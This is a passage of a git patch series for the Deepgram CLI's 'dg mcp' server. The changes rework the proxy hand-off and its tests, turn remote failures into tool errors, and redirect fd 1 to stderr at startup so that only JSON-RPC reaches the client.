     async def flush(self) -> None:
@@ -366,10 +337,7 @@ async def serve(
     api_key: Callable[[], str],
     debug: bool = False,
 ) -> None:
-    """Serve one MCP session over the given async line streams.
-
-    ``stdin`` of ``None`` is the process's own stdin.
-    """
+    """Serve one MCP session over the given async line streams."""
     import mcp.server.stdio as stdio
 
     server, options = build_server(base_url=base_url, api_key=api_key, debug=debug)
diff --git a/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py b/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py
index ad156852..17f8164a 100644
--- a/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py
+++ b/packages/deepctl-cmd-mcp/tests/e2e/test_stdio_e2e.py
@@ -206,7 +206,7 @@ def test_handshake_and_tool_list_are_fixed_local_text(
 ) -> None:
     from importlib.metadata import version
 
-    from deepctl_cmd_mcp.proxy import INSTRUCTIONS, TOOLS
+    from deepctl.mcp._fast import INSTRUCTIONS, TOOLS
 
     async def body(session: Any, init: Any) -> Any:
         return init, await session.list_tools()
diff --git a/packages/deepctl-cmd-mcp/tests/unit/test_handoff.py b/packages/deepctl-cmd-mcp/tests/unit/test_handoff.py
index cb876497..64cc1255 100644
--- a/packages/deepctl-cmd-mcp/tests/unit/test_handoff.py
+++ b/packages/deepctl-cmd-mcp/tests/unit/test_handoff.py
@@ -1,4 +1,4 @@
-"""serve_after_handshake: the fast path's hand-off to the proxy."""
+"""serve_after_handshake: the fast path's hand-off to the local MCP server."""
 
 from __future__ import annotations
 
@@ -9,6 +9,7 @@
 import pytest
 
 import deepctl_cmd_mcp.handoff as handoff
+import deepctl_cmd_mcp.proxy as proxy
 
 INIT_PARAMS = {
     "protocolVersion": "2025-06-18",
@@ -31,63 +32,173 @@ def key(monkeypatch: pytest.MonkeyPatch) -> None:
     monkeypatch.setattr(handoff, "_api_key", lambda: "fake-key")
 
 
-async def _echo_serve(stdin: Any, stdout: Any, **kwargs: Any) -> None:
-    """Stands in for proxy.serve: a stdio server answering every request."""
-    import mcp.server.stdio
-    import mcp.types as types
-    from mcp.shared.message import SessionMessage
-
-    assert kwargs["api_key"]() == "fake-key"
-    async with mcp.server.stdio.stdio_server(stdin=stdin, stdout=stdout) as (
-        read,
-        write,
-    ):
-        async for item in read:
-            root = item.message.root
-            if isinstance(root, types.JSONRPCRequest):
-                reply = types.JSONRPCResponse(
-                    jsonrpc="2.0", id=root.id, result={"echo": root.method}
-                )
-                await write.send(SessionMessage(types.JSONRPCMessage(reply)))
-        await write.aclose()
+def _remote(monkeypatch: pytest.MonkeyPatch, *outcomes: Any) -> list[Any]:
+    """Stand in for the remote: each call takes the next outcome."""
+    calls: list[Any] = []
+    pending = list(outcomes)
+
+    async def fake_call_remote(
+        base_url: str,
+        api_key: str,
+        name: str,
+        arguments: dict[str, Any],
+        *,
+        debug: bool = False,
+    ) -> Any:
+        calls.append((base_url, api_key, name, arguments))
+        outcome = pending.pop(0)
+        if isinstance(outcome, BaseException):
+            raise outcome
+        return outcome
+
+    monkeypatch.setattr(proxy, "call_remote", fake_call_remote)
+    return calls
+
+
+def _serve(*lines: dict[str, Any], first: dict[str, Any] = CALL) -> list[Any]:
+    stdin = io.BytesIO(b"".join(json.dumps(m).encode() + b"\n" for m in lines))
+    stdout = io.BytesIO()
+    assert handoff.serve_after_handshake(INIT_PARAMS, first, stdin, stdout) == 0
+    return [json.loads(line) for line in stdout.getvalue().splitlines()]
 
 
 def test_replays_the_handshake_and_drops_its_reply(
     key: None, monkeypatch: pytest.MonkeyPatch
 ) -> None:
-    import deepctl_cmd_mcp.proxy as proxy
+    import mcp.types as types
 
-    monkeypatch.setattr(proxy, "serve", _echo_serve)
-    stdin = io.BytesIO(b'{"jsonrpc":"2.0","id":4,"method":"ping"}\n')
-    stdout = io.BytesIO()
-    code = handoff.serve_after_handshake(INIT_PARAMS, CALL, stdin, stdout)
-    assert code == 0
-    replies = [json.loads(line) for line in stdout.getvalue().splitlines()]
+    calls = _remote(
+        monkeypatch,
+        types.CallToolResult(
+            content=[types.TextContent(type="text", text="rate limited")],
+            structuredContent={"result": "rate limited"},
+            isError=True,
+            _meta={"remote": "kept"},
+        ),
+    )
+    replies = _serve({"jsonrpc": "2.0", "id": 4, "method": "ping"})
     # The replayed initialize's reply is dropped; the client sees only its own.
-    assert replies == [
-        {"jsonrpc": "2.0", "id": 3, "result": {"echo": "tools/call"}},
-        {"jsonrpc": "2.0", "id": 4, "result": {"echo": "ping"}},
+    assert [r["id"] for r in replies] == [3, 4]
+    # The remote's result comes back whole.
+    assert replies[0]["result"] == {
+        "_meta": {"remote": "kept"},
+        "content": [{"type": "text", "text": "rate limited"}],
+        "structuredContent": {"result": "rate limited"},
+        "isError": True,
+    }
+    assert replies[1]["result"] == {}
+    assert calls == [
+        (
+            "https://api.dx.deepgram.com",
+            "fake-key",
+            "search_deepgram_knowledge_sources",
+            {"query": "x"},
+        )
     ]
 
 
-def test_connection_failure_raises_before_touching_streams(
+def _status_error(status: int) -> Exception:
+    import httpx
+
+    request = httpx.Request("POST", "https://api.dx.deepgram.com/kapa/mcp")
+    response = httpx.Response(status, request=request)
+    return httpx.HTTPStatusError(str(status), request=request, response=response)
+
+
+class _Group(Exception):
+    """Shaped like an ExceptionGroup (3.11+; a backport on 3.10)."""
+
+    def __init__(self, *exceptions: BaseException) -> None:
+        super().__init__("unhandled errors in a TaskGroup")
+        self.exceptions = exceptions
+
+
+REACH = "dg mcp couldn't reach Deepgram's documentation search: "
+
+
+@pytest.mark.parametrize(
+    ("error", "reason"),
+    [
+        (
+            _Group(ConnectionError("[Errno -3] Temporary failure in name resolution")),
+            "[Errno -3] Temporary failure in name resolution",
+        ),
+        (
+            _Group(_Group(_status_error(401))),
+            "Deepgram refused the API key (HTTP 401).",
+        ),
+        (
+            _status_error(429),
+            "too many requests (HTTP 429). Try again in a minute.",
+        ),
+        (_status_error(502), "the service answered HTTP 502."),
+        (
+            _status_error(307),
+            "https://api.dx.deepgram.com answered with a redirect to ?. dg mcp "
+            "doesn't follow redirects, so nothing was sent there.",
+        ),
+        (proxy.RemoteTimeoutError(15.0), "no answer within 15 seconds."),
+        (TimeoutError(), "no answer within 135 seconds."),
+    ],
+)
+def test_remote_failure_is_a_tool_error_and_the_session_goes_on(
+    key: None,
+    monkeypatch: pytest.MonkeyPatch,
+    capsys: pytest.CaptureFixture[str],
+    error: Exception,
+    reason: str,
+) -> None:
+    import mcp.types as types
+
+    ok = types.CallToolResult(content=[types.TextContent(type="text", text="ok")])
+    _remote(monkeypatch, error, ok)
+    replies = _serve(dict(CALL, id=5))
+    assert replies[0]["id"] == 3
+    assert replies[0]["result"]["isError"] is True
+    assert replies[0]["result"]["content"] == [{"type": "text", "text": REACH + reason}]
+    # The next call connects again and succeeds.
+    assert replies[1]["id"] == 5
+    assert replies[1]["result"]["content"][0]["text"] == "ok"
+    assert f"ERROR: dg mcp: {REACH}{reason}" in capsys.readouterr().err
+
+
+def test_expected_failures_are_not_reported_as_bugs(
+    key: None, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    reported: list[BaseException] = []
+    monkeypatch.setattr(
+        "deepctl_telemetry.report_exception", reported.append, raising=False
+    )
+    bug = ValueError("unexpected")
+    _remote(monkeypatch, _status_error(401), bug)
+    _serve(dict(CALL, id=5))
+    assert reported == [bug]
+
+
+def test_unknown_tool_is_refused_locally(
     key: None, monkeypatch: pytest.MonkeyPatch
 ) -> None:
-    import deepctl_cmd_mcp.proxy as proxy
+    calls = _remote(monkeypatch)
+    call = dict(CALL, params={"name": "failing_tool", "arguments": {}})
+    replies = _serve(first=call)
+    assert replies[0]["result"]["isError"] is True
+    assert replies[0]["result"]["content"][0]["text"] == (
+        "Unknown tool: failing_tool. dg mcp has: search_deepgram_knowledge_sources."
+    )
+    assert calls == []
 
-    async def offline(stdin: Any, stdout: Any, **kwargs: Any) -> None:
-        raise ConnectionError("[Errno -3] Temporary failure in name resolution")
 
-    monkeypatch.setattr(proxy, "serve", offline)
-    stdin = io.BytesIO(b'{"jsonrpc":"2.0","id":4,"method":"ping"}\n')
-    stdout = io.BytesIO()
-    with pytest.raises(
-        RuntimeError,
-        match="^dg mcp couldn't reach Deepgram's documentation search: .*name resolution",
-    ):
-        handoff.serve_after_handshake(INIT_PARAMS, CALL, stdin, stdout)
-    assert stdin.tell() == 0
-    assert stdout.getvalue() == b""
+def test_bad_arguments_are_refused_locally(
+    key: None, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    calls = _remote(monkeypatch)
+    call = dict(
+        CALL, params={"name": "search_deepgram_knowledge_sources", "arguments": {}}
+    )
+    replies = _serve(first=call)
+    assert replies[0]["result"]["isError"] is True
+    assert "query" in replies[0]["result"]["content"][0]["text"]
+    assert calls == []
 
 
 def test_no_api_key_is_a_start_failure(
@@ -147,14 +258,19 @@ def test_untrusted_config_key_sends_an_agent_to_a_person(
     assert captured.err.strip() and captured.out == ""
 
 
-class _Group(Exception):
-    """Shaped like an ExceptionGroup (3.11+; a backport on 3.10)."""
+def test_reason_unwraps_exception_groups() -> None:
+    group = _Group(_Group(OSError("connection refused\nmore detail")))
+    assert proxy.reason(group) == "connection refused"
 
-    def __init__(self, *exceptions: BaseException) -> None:
-        super().__init__("unhandled errors in a TaskGroup")
-        self.exceptions = exceptions
 
+def test_http_client_follows_no_redirects_and_keeps_no_cookies() -> None:
+    import asyncio
 
-def test_reason_unwraps_exception_groups() -> None:
-    group = _Group(_Group(OSError("connection refused\nmore detail")))
-    assert handoff._reason(group) == "connection refused"
+    client = proxy.http_client(headers={"Authorization": "Token k"})
+    try:
+        assert client.follow_redirects is False
+        assert client.max_redirects == 0
+        assert client.headers["Authorization"] == "Token k"
+        assert not client.cookies.jar._policy.allowed_domains()
+    finally:
+        asyncio.run(client.aclose())
diff --git a/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py b/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py
index 484968f3..8b284af1 100644
--- a/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py
+++ b/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py
@@ -58,8 +58,6 @@ def test_handle_no_api_key_still_serves(self):
         """No key: the server starts anyway; the key is read per tool call."""
         auth_manager = MagicMock()
         auth_manager.get_api_key.return_value = None
-        config = MagicMock()
-        config.api_key_untrusted = False
         seen = {}
         with (
             patch("deepctl_cmd_mcp.command.run_proxy", lambda **kw: seen.update(kw)),
@@ -67,52 +65,24 @@ def test_handle_no_api_key_still_serves(self):
             patch("signal.signal"),
         ):
             result = McpCommand().handle(
-                config, auth_manager, MagicMock(), transport="stdio"
+                MagicMock(), auth_manager, MagicMock(), transport="stdio"
             )
         assert result is None
         auth_manager.get_api_key.assert_not_called()
         with pytest.raises(RuntimeError, match="No API key is set"):
             seen["api_key"]()
 
-    def test_key_is_read_on_each_call(self):
-        auth_manager = MagicMock()
-        auth_manager.get_api_key.side_effect = ["k1", "k2"]
+    def test_proxy_gets_the_isolated_protocol_stream(self):
+        stream = object()
         seen = {}
         with (
+            patch("deepctl_cmd_mcp.command.isolate_stdout", return_value=stream),
             patch("deepctl_cmd_mcp.command.run_proxy", lambda **kw: seen.update(kw)),
             patch("deepctl_cmd_mcp.command.asyncio.run"),
             patch("signal.signal"),
         ):
-            McpCommand().handle(MagicMock(), auth_manager, MagicMock())
-        assert [seen["api_key"](), seen["api_key"]()] == ["k1", "k2"]
-
-    def test_untrusted_config_key_sends_an_agent_to_a_person(self):
-        """The W-PERM-AGENT rule: never tell an agent to run dg login."""
-        from deepctl_core import messages as msg
-
-        from deepctl_cmd_mcp.command import key_or_error
-
-        config = MagicMock()
-        config.api_key_untrusted = True
-        config.config_path = "/x/config.yaml"
-        auth_manager = MagicMock()
-        auth_manager.get_api_key.return_value = None
-        with pytest.raises(RuntimeError) as exc:
-            key_or_error(config, auth_manager)
-        text = str(exc.value)
-        assert text.endswith(msg.W_CFG_UNTRUSTED_FILE_HINT)
-        assert "dg login" not in text
-
-    def test_key_lookup_failure_is_a_start_error(self):
-        from deepctl_cmd_mcp.command import key_or_error
-
-        auth_manager = MagicMock()
-        auth_manager.get_api_key.side_effect = OSError("keyring locked\nmore")
-        with pytest.raises(RuntimeError) as exc:
-            key_or_error(MagicMock(), auth_manager)
-        assert str(exc.value) == (
-            "dg mcp can't start the documentation search: keyring locked"
-        )
+            McpCommand().handle(MagicMock(), MagicMock(), MagicMock())
+        assert seen["stdout"] is stream
 
     def test_result_never_reaches_stdout(self, capsys):
         """stdout belongs to the MCP client, even for a failure result."""
@@ -121,18 +91,6 @@ def test_result_never_reaches_stdout(self, capsys):
         )
         assert capsys.readouterr().out == ""
 
-    def test_proxy_gets_the_isolated_protocol_stream(self):
-        stream = object()
-        seen = {}
-        with (
-            patch("deepctl_cmd_mcp.command.isolate_stdout", return_value=stream),
-            patch("deepctl_cmd_mcp.command.run_proxy", lambda **kw: seen.update(kw)),
-            patch("deepctl_cmd_mcp.command.asyncio.run"),
-            patch("signal.signal"),
-        ):
-            McpCommand().handle(MagicMock(), MagicMock(), MagicMock())
-        assert seen["stdout"] is stream
-
     @patch("deepctl_cmd_mcp.command.asyncio.run")
     @patch("signal.signal")
     def test_handle_stdio_transport_returns_none(self, mock_signal, mock_asyncio_run):
diff --git a/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py b/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py
index f04775d7..fb2d4478 100644
--- a/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py
+++ b/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py
@@ -9,6 +9,7 @@
 import pytest
 
 import deepctl_cmd_mcp.proxy as proxy
+from deepctl.mcp import _fast
 
 INIT = {
     "jsonrpc": "2.0",
@@ -115,13 +116,13 @@ async def run() -> None:
 
     anyio.run(run)
     init, listed = [json.loads(line) for line in stdout.getvalue().splitlines()]
-    assert init["result"]["instructions"] == proxy.INSTRUCTIONS
+    assert init["result"]["instructions"] == _fast.INSTRUCTIONS
     assert init["result"]["serverInfo"]["name"] == "deepgram-mcp"
     assert [t["name"] for t in listed["result"]["tools"]] == [
         "search_deepgram_knowledge_sources"
     ]
     assert (
-        listed["result"]["tools"][0]["description"] == (proxy.TOOLS[0]["description"])
+        listed["result"]["tools"][0]["description"] == (_fast.TOOLS[0]["description"])
     )
     assert calls == []
 
diff --git a/src/deepctl/mcp/_fast.py b/src/deepctl/mcp/_fast.py
index 1dea724e..8c9a0fc8 100644
--- a/src/deepctl/mcp/_fast.py
+++ b/src/deepctl/mcp/_fast.py
@@ -8,12 +8,13 @@
 ``bench/gates.json``).
 
 The first ``tools/call`` after ``initialize`` goes to
-``deepctl_cmd_mcp.serve_after_handshake``, which connects to the service
-and serves the rest of the session. When that can't start (no API key, no
-network), the call gets a tool error and this loop keeps serving, so the
-host never sees the server die. Every other method, ``server/discover``
-included, gets "Method not found" here and never causes a connection; a
-``tools/call`` before ``initialize`` gets "not initialized".
+``deepctl_cmd_mcp.serve_after_handshake``, which serves the rest of the
+session and connects to the service once per tool call. When it can't
+start (no API key, unreadable config), the call gets a tool error and this
+loop keeps serving, so the host never sees the server die. Every other
+method, ``server/discover`` included, gets "Method not found" here and
+never causes a connection; a ``tools/call`` before ``initialize`` gets
+"not initialized".
 
 Contract with ``deepctl_cmd_mcp.serve_after_handshake(initialize_params,
 pending_message, stdin, stdout)``: ``stdin``/``stdout`` are the binary
@@ -40,8 +41,8 @@
 
 SERVER_NAME = "deepgram-mcp"
 
-# Fixed local text, never passed through from the remote service
-# (SECURITY-S6). W4.1 owns this text and the tool table below.
+# Fixed local text, never passed through from the remote service: its
+# instructions and tool descriptions are text an attacker could influence.
 INSTRUCTIONS = (
     "Deepgram developer documentation search. Call "
     "search_deepgram_knowledge_sources with a question about Deepgram's "
@@ -51,7 +52,8 @@
 )
 
 # The tool names are the remote service's (kapa's); the descriptions and
-# schemas are ours. W4.1 keeps this table in sync with the service.
+# schemas are ours. deepctl_cmd_mcp.proxy serves this same table and
+# forwards calls only for the names in it.
 TOOLS = [
     {
         "name": "search_deepgram_knowledge_sources",

From 9b32d501c87708faed9f949558fc5e2d1aa0d197 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:33:44 -0500
Subject: [PATCH 51/88] fix(mcp): keep stdout for JSON-RPC from the start of dg
 mcp

Every dg mcp run that serves (not --help or --agent-friendly), with or
without root options before mcp, now moves fd 1 to stderr before Click
or any command code loads. The MCP server writes to a private copy of
the original stdout, so a stray print, a library warning, a config
notice or a child process can no longer corrupt the client's JSON-RPC
stream.

main() recognises `dg [root options] mcp` without Click; a test keeps
its list of value-taking root options equal to the root group's.
---
 .../src/deepctl_cmd_mcp/command.py            | 10 ++--
 .../src/deepctl_cmd_mcp/proxy.py              | 25 ---------
 .../deepctl-cmd-mcp/tests/unit/conftest.py    | 12 -----
 .../tests/unit/test_mcp_command.py            |  2 +-
 .../deepctl-cmd-mcp/tests/unit/test_proxy.py  | 19 -------
 src/deepctl/main.py                           | 50 ++++++++++++++++--
 src/deepctl/mcp/_fast.py                      | 51 +++++++++++++++++--
 tests/unit/test_entry_point.py                |  6 ++-
 tests/unit/test_main.py                       | 40 +++++++++++++++
 tests/unit/test_mcp_fast.py                   | 32 ++++++++++++
 10 files changed, 174 insertions(+), 73 deletions(-)
 delete mode 100644 packages/deepctl-cmd-mcp/tests/unit/conftest.py

diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
index 7fa3f92a..fecf3ea4 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
@@ -21,7 +21,7 @@
 
 from . import messages as mcp_msg
 from .models import MCPServerResult, TransportType
-from .proxy import DEFAULT_BASE_URL, isolate_stdout, report_error, run_proxy
+from .proxy import DEFAULT_BASE_URL, report_error, run_proxy
 
 if TYPE_CHECKING:
     pass
@@ -188,6 +188,8 @@ def handle(
                 report(err)
                 raise SystemExit(1) from err
 
+        from deepctl.mcp._fast import protocol_stdout
+
         from .handoff import key_or_error
 
         debug = kwargs.get("debug", False)
@@ -200,17 +202,13 @@ def handle(
 
         import asyncio
 
-        # From here on only JSON-RPC reaches the client: anything else
-        # written to stdout (fd 1) goes to stderr.
-        protocol = isolate_stdout()
-
         try:
             asyncio.run(
                 run_proxy(
                     base_url=canonical_url(base_url),
                     api_key=lambda: key_or_error(config, auth_manager),
                     debug=debug,
-                    stdout=protocol,
+                    stdout=protocol_stdout(),
                 )
             )
 
diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py
index d54cc28c..f32b9701 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/proxy.py
@@ -21,7 +21,6 @@
 
 from __future__ import annotations
 
-import os
 import sys
 from datetime import timedelta
 from typing import TYPE_CHECKING, Any, BinaryIO
@@ -305,30 +304,6 @@ async def flush(self) -> None:
         self._stdout.flush()
 
 
-def isolate_stdout() -> BinaryIO:
-    """Give the protocol its own copy of stdout and point fd 1 at stderr.
-
-    After this, a stray ``print()``, a library warning or a child process
-    writing to fd 1 lands on stderr instead of corrupting the JSON-RPC
-    stream; the returned stream is the only way to the client. Falls back
-    to ``sys.stdout.buffer`` when the descriptors can't be duplicated.
-    """
-    try:
-        sys.stdout.flush()
-    except (AttributeError, OSError, ValueError):
-        pass
-    try:
-        proto = os.dup(1)
-    except OSError:
-        return sys.stdout.buffer
-    try:
-        os.dup2(2, 1)
-    except OSError:
-        os.close(proto)
-        return sys.stdout.buffer
-    return os.fdopen(proto, "wb")
-
-
 async def serve(
     stdin: Any,
     stdout: Any,
diff --git a/packages/deepctl-cmd-mcp/tests/unit/conftest.py b/packages/deepctl-cmd-mcp/tests/unit/conftest.py
deleted file mode 100644
index 317b0c2a..00000000
--- a/packages/deepctl-cmd-mcp/tests/unit/conftest.py
+++ /dev/null
@@ -1,12 +0,0 @@
-"""Keep the test process's own stdout: handle() would point fd 1 at stderr."""
-
-from __future__ import annotations
-
-import io
-
-import pytest
-
-
-@pytest.fixture(autouse=True)
-def _no_fd_swap(monkeypatch: pytest.MonkeyPatch) -> None:
-    monkeypatch.setattr("deepctl_cmd_mcp.command.isolate_stdout", lambda: io.BytesIO())
diff --git a/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py b/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py
index 8b284af1..5b762852 100644
--- a/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py
+++ b/packages/deepctl-cmd-mcp/tests/unit/test_mcp_command.py
@@ -76,7 +76,7 @@ def test_proxy_gets_the_isolated_protocol_stream(self):
         stream = object()
         seen = {}
         with (
-            patch("deepctl_cmd_mcp.command.isolate_stdout", return_value=stream),
+            patch("deepctl.mcp._fast.protocol_stdout", return_value=stream),
             patch("deepctl_cmd_mcp.command.run_proxy", lambda **kw: seen.update(kw)),
             patch("deepctl_cmd_mcp.command.asyncio.run"),
             patch("signal.signal"),
diff --git a/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py b/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py
index fb2d4478..beaf5278 100644
--- a/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py
+++ b/packages/deepctl-cmd-mcp/tests/unit/test_proxy.py
@@ -287,22 +287,3 @@ def test_http_client_follows_no_redirects_and_keeps_no_cookies() -> None:
         assert not client.cookies.jar._policy.allowed_domains()
     finally:
         asyncio.run(client.aclose())
-
-
-def test_isolate_stdout_moves_fd1_to_stderr(tmp_path: Any) -> None:
-    """In a child process: stray stdout writes land on stderr."""
-    import subprocess
-    import sys
-
-    code = (
-        "import sys\n"
-        "from deepctl_cmd_mcp.proxy import isolate_stdout\n"
-        "out = isolate_stdout()\n"
-        "print('stray')\n"
-        "sys.stdout.flush()\n"
-        "out.write(b'protocol\\n'); out.flush()\n"
-    )
-    proc = subprocess.run([sys.executable, "-c", code], capture_output=True, timeout=60)
-    assert proc.returncode == 0, proc.stderr
-    assert proc.stdout == b"protocol\n"
-    assert b"stray" in proc.stderr
diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index bd978948..ddd3d144 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -8,6 +8,10 @@
 - ``dg mcp`` (stdio, no other options) answers the MCP handshake locally in
   ``deepctl.mcp._fast`` and hands the session to the proxy on the first call.
 
+Every ``dg mcp`` run except a help request first moves fd 1 to stderr
+(``deepctl.mcp._fast.isolate_stdout``), so only the MCP server can write
+to the client's stdout, whatever runs after it.
+
 Everything else imports ``deepctl._cli`` and runs the Click CLI as before.
 Names that used to live here (``cli``, ``load_commands`` and the helpers)
 resolve from ``deepctl._cli`` through ``__getattr__``; ``cli`` comes back with
@@ -48,6 +52,44 @@
 )
 
 
+# Root options that take a value (``dg --profile staging mcp``). Must match
+# the root group's non-flag options; tests/unit/test_main.py checks it.
+_ROOT_VALUE_OPTIONS = frozenset(
+    {
+        "--config",
+        "-c",
+        "--profile",
+        "-p",
+        "--base-url",
+        "--api-key",
+        "--output",
+        "-o",
+        "--record-install-method",
+    }
+)
+# Arguments that make `dg mcp` print help or metadata to stdout instead of
+# serving.
+_MCP_HELP_ARGS = frozenset({"--help", "-h", "--agent-friendly"})
+
+
+def _is_mcp_server_run(args: "list[str]") -> bool:
+    """True when argv runs ``dg mcp`` as a server (not for help)."""
+    i = 0
+    while i < len(args):
+        arg = args[i]
+        if arg == "--":
+            i += 1
+            break
+        if not arg.startswith("-") or arg == "-":
+            break
+        if arg in _MCP_HELP_ARGS or arg == "--version":
+            return False
+        i += 2 if arg in _ROOT_VALUE_OPTIONS else 1
+    if i >= len(args) or args[i] != "mcp":
+        return False
+    return not any(arg in _MCP_HELP_ARGS for arg in args[i + 1 :])
+
+
 def capture_launcher() -> "str | None":
     """Read and remove ``DEEPCTL_LAUNCHER`` (first call only); return its value."""
     global LAUNCHER, LAUNCHER_CAPTURED
@@ -175,10 +217,12 @@ def main(prog: "str | None" = None) -> None:
     # and falls back to a stub on ImportError; this skips it.
     sys.modules.setdefault("httpx._main", None)  # type: ignore[arg-type]
 
-    if args and args[0] == "mcp" and args[1:] in _FAST_MCP_ARGS:
-        from deepctl.mcp._fast import serve
+    if _is_mcp_server_run(args):
+        from deepctl.mcp._fast import isolate_stdout, serve
 
-        sys.exit(serve())
+        isolate_stdout()
+        if args[0] == "mcp" and args[1:] in _FAST_MCP_ARGS:
+            sys.exit(serve())
 
     safe_output_streams()
     sys.excepthook = _rich_excepthook
diff --git a/src/deepctl/mcp/_fast.py b/src/deepctl/mcp/_fast.py
index 8c9a0fc8..1698c13c 100644
--- a/src/deepctl/mcp/_fast.py
+++ b/src/deepctl/mcp/_fast.py
@@ -24,6 +24,10 @@
 written stdout. Its message is the complete text shown to the client.
 
 Nothing but JSON-RPC is ever written to stdout. Diagnostics go to stderr.
+``isolate_stdout()`` (called by ``deepctl.main`` for every ``dg mcp`` run)
+keeps it that way for code that doesn't know about the protocol: fd 1 then
+points at stderr, and the protocol stream is a private copy of the
+original stdout.
 """
 
 import json
@@ -41,6 +45,9 @@
 
 SERVER_NAME = "deepgram-mcp"
 
+# The original stdout, once isolate_stdout() moved fd 1 to stderr.
+_PROTOCOL_OUT: "BinaryIO | None" = None
+
 # Fixed local text, never passed through from the remote service: its
 # instructions and tool descriptions are text an attacker could influence.
 INSTRUCTIONS = (
@@ -85,6 +92,40 @@
 CANT_START = "dg mcp can't start the documentation search: {reason}"
 
 
+def isolate_stdout() -> None:
+    """Give the protocol its own copy of stdout and point fd 1 at stderr.
+
+    After this, a stray ``print()``, a library warning or a child process
+    writing to fd 1 lands on stderr instead of corrupting the JSON-RPC
+    stream; ``protocol_stdout()`` is the only way to the client. Safe to
+    call twice. Does nothing when stdout or stderr is closed.
+    """
+    global _PROTOCOL_OUT
+    if _PROTOCOL_OUT is not None:
+        return
+    try:
+        sys.stdout.flush()
+    except (AttributeError, OSError, ValueError):
+        pass
+    try:
+        proto = os.dup(1)
+    except OSError:
+        return
+    try:
+        os.dup2(2, 1)
+    except OSError:
+        os.close(proto)
+        return
+    _PROTOCOL_OUT = os.fdopen(proto, "wb")
+
+
+def protocol_stdout() -> "BinaryIO":
+    """The stream the client reads: the isolated copy, else stdout."""
+    if _PROTOCOL_OUT is not None:
+        return _PROTOCOL_OUT
+    return sys.stdout.buffer
+
+
 def _write(out: "BinaryIO", message: "dict[str, Any]") -> None:
     out.write(json.dumps(message, separators=(",", ":")).encode("utf-8") + b"\n")
     out.flush()
@@ -155,13 +196,13 @@ def _hand_off(
     return code
 
 
-def _silence_stdout() -> None:
+def _silence(out: "BinaryIO") -> None:
     """The client closed stdout: drop further writes, including at exit."""
     try:
         devnull = os.open(os.devnull, os.O_WRONLY)
-        os.dup2(devnull, sys.stdout.fileno())
+        os.dup2(devnull, out.fileno())
         os.close(devnull)
-    except (OSError, ValueError):
+    except (AttributeError, OSError, ValueError):
         pass
 
 
@@ -175,7 +216,7 @@ def serve(
             return 0
         inp = sys.stdin.buffer
     if out is None:
-        out = sys.stdout.buffer
+        out = protocol_stdout()
 
     initialize_params: dict[str, Any] | None = None
     msg_id: object = None
@@ -227,7 +268,7 @@ def serve(
     except KeyboardInterrupt:
         return 0
     except BrokenPipeError:
-        _silence_stdout()
+        _silence(out)
         return 0
     except Exception as exc:
         sys.stderr.write(f"ERROR: dg mcp stopped: {exc}\n")
diff --git a/tests/unit/test_entry_point.py b/tests/unit/test_entry_point.py
index 52d8cca2..4f05f6f2 100644
--- a/tests/unit/test_entry_point.py
+++ b/tests/unit/test_entry_point.py
@@ -142,7 +142,9 @@ def test_popped_on_every_path(self, tmp_path: Path) -> None:
                  "import os; print(os.environ.get('DEEPCTL_LAUNCHER'))"],
                 capture_output=True, text=True,
             ).stdout.strip()
-            print(json.dumps({"launcher": m.LAUNCHER, "child": child}))
+            # stderr: `dg mcp` points fd 1 at stderr for the rest of the run.
+            print(json.dumps({"launcher": m.LAUNCHER, "child": child}),
+                  file=sys.stderr)
             """
         )
         for args in (["--version"], ["--quiet", "--version"], ["mcp"]):
@@ -152,7 +154,7 @@ def test_popped_on_every_path(self, tmp_path: Path) -> None:
                 DEEPCTL_LAUNCHER="npm",
             )
             assert proc.returncode == 0, proc.stderr
-            result = json.loads(proc.stdout.strip().splitlines()[-1])
+            result = json.loads(proc.stderr.strip().splitlines()[-1])
             assert result == {"launcher": "npm", "child": "None"}, args
 
     def test_capture_is_once(self, monkeypatch: pytest.MonkeyPatch) -> None:
diff --git a/tests/unit/test_main.py b/tests/unit/test_main.py
index 132048f4..ab2c84b3 100644
--- a/tests/unit/test_main.py
+++ b/tests/unit/test_main.py
@@ -531,3 +531,43 @@ def test_every_alias_comes_from_the_manifest(self):
 
     def test_preprocessor_is_gone(self):
         assert not hasattr(_cli_mod, "preprocess_hyphenated_commands")
+
+
+class TestMcpServerRun:
+    """Which argv runs `dg mcp` as a server (stdout isolated first)."""
+
+    @pytest.mark.parametrize(
+        ("argv", "expected"),
+        [
+            (["mcp"], True),
+            (["mcp", "--base-url", "https://x.example"], True),
+            (["mcp", "--debug"], True),
+            (["--profile", "staging", "mcp"], True),
+            (["-p", "mcp", "mcp"], True),
+            (["-o", "json", "--quiet", "mcp", "--transport", "sse"], True),
+            (["--profile=mcp", "mcp"], True),
+            (["mcp", "--help"], False),
